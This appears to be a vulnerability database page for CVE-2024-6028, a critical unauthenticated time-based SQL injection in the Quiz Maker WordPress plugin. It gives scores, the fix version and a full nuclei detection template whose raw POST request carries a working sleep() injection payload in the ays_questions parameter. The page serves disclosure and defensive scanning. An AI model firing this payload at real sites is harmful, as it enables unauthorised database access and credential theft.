HexBrain

Browse / CVEs / CVE-2024-6028

CVE-2024-6028· ays-pro / quiz maker· CWE-89

Quiz Maker <= 6.5.8.3 - SQL Injection

criticalseverity
9.8CVSS score
11.8%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute time-based SQL injection through the ays_questions parameter to extract the complete WordPress database including user credentials, quiz data, and site information.

Fix

Fixed in 6.5.8.4

How to confirm it

Send: @timeout: 25s
Positive when: duration>=6 and status_code == 200 and contains_all(body,"status\":","scoreMessage","displayScore")

Run it with nuclei: nuclei -id CVE-2024-6028 -u <target>

The full check
id: CVE-2024-6028

info:
  name: Quiz Maker <= 6.5.8.3 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute time-based SQL injection through the ays_questions parameter to extract the complete WordPress database including user credentials, quiz data, and site information.
  remediation: Fixed in 6.5.8.4
  reference:
    - https://github.com/truonghuuphuc/CVE-2024-6028-Poc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6028
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6028
    cwe-id: CWE-89
    epss-score: 0.11755
    epss-percentile: 0.96107
    cpe: cpe:2.3:a:ays-pro:quiz_maker:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/quiz-maker/"
    product: quiz_maker
    vendor: ays-pro
  tags: time-based-sqli,cve,cve2024,wordpress,wp,wp-plugin,quiz-maker,sqli,vuln,vkev

http:
  - raw:
      - |
        @timeout: 25s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,6,0)]=&action=ays_finish_quiz

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains_all(body,"status\":","scoreMessage","displayScore")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from